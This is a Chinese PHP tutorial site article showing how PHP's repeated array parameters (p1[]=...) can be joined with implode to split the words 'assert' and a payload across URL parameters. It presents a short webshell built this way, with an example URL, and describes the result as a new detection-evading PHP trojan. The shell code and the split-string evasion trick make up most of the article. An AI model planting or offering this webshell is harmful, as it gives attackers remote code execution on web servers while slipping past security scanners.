网站地图    收藏   

主页 > 后端 > 网站安全 >

利用重复参数数组变量构造php免杀shell - 网站安全

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 最近发现php一个很2b的字符串构造数组的方法:?php$str = a[]=1a[]=2b[]=3; parse_str($str, $arr); print_r($arr); ?以上代码返回结果为:Array ( [a] = Array ( [0] = 1 [1] = 2 ) ......

 最近发现php一个很2b的字符串构造数组的方法:
 
<?php
$str = "a[]=1&a[]=2&b[]=3"; parse_str($str, $arr); print_r($arr); ?以上代码返回结果为:
Array ( [a] => Array ( [0] => 1 [1] => 2 ) [b] => Array ( [0] => 3 ) ) 
 
也就是说当字符后面跟随“[]”符号,并且有多个相似结构的时候,返回的数组中会将该字符作为键名,并对应生成一个array键值,内容为该字符在字符串中等于的各个值(太绕了,看代码应该很容易理解)。
 
那么现在就产生一个问题,假如说一个url是这样的:
http://example.com?p1=v1&p2=v2&p3=v3&p1=v4&p2=v5
我们使用var_dump($_GET['p1'])得到的依据环境不同可能为v1或v4,如果我把p1修改为p1[]呢?
返回的将是Array ( [p1] => Array ( [0] => v1 [1] => v4 ) )
 
哈哈,你们已经想到了吧,我们把url修改为这样:
http://www.2cto.com /1.php?p1[]=phpinfo&p2[]=ass&p3=v3&p1[]=();&p2[]=ert
假如php代码这样写:
 
<?php
$a=implode("",$_GET['p1']); $b=implode("",$_GET['p2']); var_dump($_GET['p1']); var_dump($_GET['p2']); $b($a); ?>又一种新的php木马产生,见证奇迹的时刻!​
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论